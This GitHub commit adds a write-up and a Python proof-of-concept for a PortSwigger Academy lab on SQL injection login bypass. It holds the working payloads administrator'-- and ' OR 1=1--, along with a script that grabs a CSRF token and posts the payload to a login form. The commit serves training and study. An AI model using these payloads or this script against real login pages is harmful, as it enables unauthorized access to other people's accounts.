Skip to content

Commit 40e1d73

Browse files
committed
add sqli labs 02
1 parent 5cfa79c commit 40e1d73

File tree

2 files changed

+104
-0
lines changed

2 files changed

+104
-0
lines changed
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Subverting application logic
2+
Consider an application that lets users log in with a username and password. If a user submits the username `wiener` and the password `bluecheese`, the application checks the credentials by performing the following SQL query:
3+
4+
`SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'`
5+
6+
If the query returns the details of a user, then the login is successful. Otherwise, it is rejected.
7+
8+
Here, an attacker can log in as any user without a password simply by using the SQL comment sequence `--` to remove the password check from the WHERE clause of the query. For example, submitting the username `administrator'--` and a blank password results in the following query:
9+
10+
`SELECT * FROM users WHERE username = 'administrator'--' AND password = ''`
11+
12+
This query returns the user whose username is administrator and successfully logs the attacker in as that user.
13+
14+
## Lab: SQL injection vulnerability allowing login bypass
15+
This lab contains an SQL injection vulnerability in the login function.
16+
17+
To solve the lab, perform an SQL injection attack that logs in to the application as the `administrator` user.
18+
19+
## PoC
20+
```bash
21+
$ python3 sqli_lab_02.py https://ac391f171f7c8b61c0fa3ec000630052.web-security-academy.net/login "administrator'--"
22+
23+
>> SQL injection vulnerability allowing login bypass
24+
>> by Port Swigger Academy
25+
26+
[✓] Csrf Token: 3hPVIbOtx90JjKDpS8owRdk34kFD9BFR
27+
[✓] SQL Injection successful!. We have logged as an Administrator!
28+
```
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
#!/usr/bin/python3
2+
# Title: SQL injection vulnerability allowing login bypass
3+
# Description: https://portswigger.net/web-security/sql-injection
4+
# Lab: https://portswigger.net/web-security/sql-injection/lab-login-bypass
5+
# Bypass login as administrator using payload administrator'--
6+
# Example: python3 sqli_lab_01.py https://ac621f871f2eb0c6c0fb178700be008e.web-security-academy.net "' OR 1=1--"
7+
8+
import requests
9+
import sys
10+
import urllib3
11+
from bs4 import BeautifulSoup
12+
13+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
14+
15+
class Interface ():
16+
def __init__ (self):
17+
self.red = '\033[91m'
18+
self.green = '\033[92m'
19+
self.white = '\033[37m'
20+
self.yellow = '\033[93m'
21+
self.bold = '\033[1m'
22+
self.end = '\033[0m'
23+
24+
def header(self):
25+
print('\n >> SQL injection vulnerability allowing login bypass')
26+
print(' >> by Port Swigger Academy\n')
27+
28+
def info (self, message):
29+
print(f"[{self.white}*{self.end}] {message}")
30+
31+
def warning (self, message):
32+
print(f"[{self.yellow}!{self.end}] {message}")
33+
34+
def error (self, message):
35+
print(f"[{self.red}x{self.end}] {message}")
36+
37+
def success (self, message):
38+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
39+
40+
# Instantiate our interface class
41+
global output
42+
output = Interface()
43+
output.header()
44+
45+
proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"} #proxies
46+
47+
def get_csrf_token(s, url):
48+
r = s.get(url, verify=False, proxies=proxies)
49+
soup = BeautifulSoup(r.text, 'html.parser')
50+
csrf = soup.find("input")["value"]
51+
output.success("Csrf Token: %s" %csrf)
52+
return csrf
53+
54+
def exploit_sqli(s, url, payload):
55+
csrf = get_csrf_token(s,url)
56+
data = {"csrf": csrf,"username": payload, "password": "hahahaha"}
57+
r = s.post(url,data=data,verify=False, proxies=proxies)
58+
if "Log out" in r.text:
59+
return True
60+
else:
61+
return False
62+
63+
if __name__ == "__main__":
64+
try:
65+
url = sys.argv[1].strip()
66+
payload = sys.argv[2].strip()
67+
except IndexError:
68+
output.info("Usage: %s <url> <payload>" % sys.argv[0])
69+
output.info('Example: %s www.example.com "1=1"' % sys.argv[0])
70+
sys.exit(-1)
71+
72+
s = requests.Session()
73+
if exploit_sqli(s, url, payload):
74+
output.success("SQL Injection successful!. We have logged as an Administrator!")
75+
else:
76+
output.error("SQL Injection unsuccessful!")

0 commit comments

Comments
 (0)